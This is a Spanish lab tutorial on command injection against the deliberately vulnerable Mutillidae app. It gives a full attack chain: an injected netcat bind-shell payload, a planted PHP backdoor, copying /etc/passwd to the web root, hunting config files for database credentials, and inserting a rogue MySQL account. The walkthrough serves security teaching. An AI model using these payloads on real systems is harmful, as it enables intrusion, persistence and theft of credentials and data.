Tabla de Contenidos

Inyección de comandos Netcat

¿Qué es Inyección de Comando?

La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web.

Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un “;” o “|” o “||” o “&” o “&&” se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd).

¿Qué es netcat?

Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de “back-end” confiable que puede ser utilizado directa o fácilmente por otros programas y scripts.

Al mismo tiempo, es una herramienta de depuración e investigación ya que puede producir casi cualquier tipo de correlación que se necesite y tiene una serie de capacidades integradas.

Netcat a menudo se conoce como una “navaja del ejército suizo para TCP / IP”. Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera.

Pre-requisito para hacer estas practicas

Tener instalado un Fedora
Nota: El acceso remoto a la base de datos se ha activado para proporcionar una vulnerabilidad adicional.

Instalación de BackTrack 5 R1

En esta Práctica haremos los siguiente

Lo primero de todo voy a ver que ip tiene cada una de las maquinas

Vamos como el ejercicio anterior a http://ip-fedora/mutillidae y seleccionamos

OWASP Top 10 –> A2 - Cross Site Scripting (XSS) –> Reflected (First Order) –> DNS Lookup

A continuación, vamos a ejecutar NetCat a la prueba nslookup LOL

Instrucciones:

www.colegiomontessori.com; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe

Hacemos un FIFO llamada pipe.

Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos.

Esto permitirá que dos procesos se conecten a netcat.

nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444.

NOTA: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA

Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente.

También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes.

Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?:

Conéctese a Netcat

Escribir las siguientes sentencias en el BackTrack

Reemplazar la ip con la dirección IP de tu Fedora.

root@bt:~# nc 192.168.153.39 4444

Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444

hostname

Este es el nombre de host del servidor que aloja DVWA.

whoami

Es decir, ¿con quién me conecto?

pwd

directorio de trabajo

uname -a

muestra informacion del sistema operativo

cat /etc/passwd > passwd.txt

crea passwd.txt localizado en /var/www/html/multillidae

ls -l $PWD/passwd.txt

lista el fichero passwd.txt

volvemos al Firefox y abrimos otra pestaña y escribimos

http://ip-fedora/mutillidae/passwd.txt

Creación de una puerta trasera (PHP)

Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack.

Ahora podemos crear un script en el servidor web Apache en el directorio /var/www/html/mutillidae, que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup.

echo "<?php system(\"mkfifo /tmp/pipe2;sh /tmp/pipe2 | nc -l 3333 > /tmp/pipe2\"); ?>" > nc_connect.php
ls -l $PWD/nc_connect.php
chmod 700 nc_connect.php
ls -l $PWD/nc_connect.php
cat nc_connect.php

http://ip-fedora/mutillidae/nc_connect.php

Ejecutamos nc_connect.php

http://ip-fedora/mutillidae/nc_connect.php

veremos que en la web pone conectando…..

abrimos otro terminal en Backtrack y escribimos

root@bt:~# nc 192.168.153.39 3333
whoami
ps -eaf | egrep '(3333|4444)'

Las dos primeras lineas es la ejecución del netcat via nslookup

las ultimas lineas el la puerta trasera

Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña

primero vamos a ver nuestro directorio de trabajo

pwd

luego vamos a contar los scripts

find * -name “*.php” | wc -l

despues vamos a contar los archivos incluye de php

find * -name “*.inc” | wc -l

lo siguiente sera buscar en cada archivo include (.inc) las palabras “password” “db” o “database”

find * -name "*.inc" | xargs grep -i password | egrep -i '(db|database)'

find * -name “*.inc encuentra todos los archivos con la extensión inc

xargs construye y ejecutar líneas de comando desde entrada estándar

grep -i password busca la palabra password (ignora mayuscula y minusculas)

egrep -i '(db|database)' buscar las cadenas db o database

find * -name "*.php" | xargs grep -i password | egrep -i '(db|database)' | grep "=" | head -8

ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php

Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de =

find * -name "MySQLHandler.php" | xargs egrep -i '(password|username|database)' | grep "=" | head -10

El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat.

echo "show databases;" | mysql -uroot -psamurai
echo "use nowasp; show tables;" | mysql -uroot -psamurai

Vamos a investigar el contenido de la tabla accounts

primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas

echo "use nowasp; desc accounts;" | mysql -uroot -psamurai
echo "select * from nowasp.accounts;" | mysql -uroot -psamurai

ahora vamos a crear un nuevo usuario en la tabla

echo "insert into nowasp.accounts values (null,'hacker_jm','p4sSw0rd!','H4ck','TRUE');" | mysql -uroot -psamurai
echo "select * from nowasp.accounts;" | mysql -uroot -psamurai

print de pantalla final

Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php

echo "select * from nowasp.accounts where username = 'hacker_nombre';" | mysql -uroot -psamurai
netstat -nao | egrep '(3333|4444)'
date
echo "tu nombre"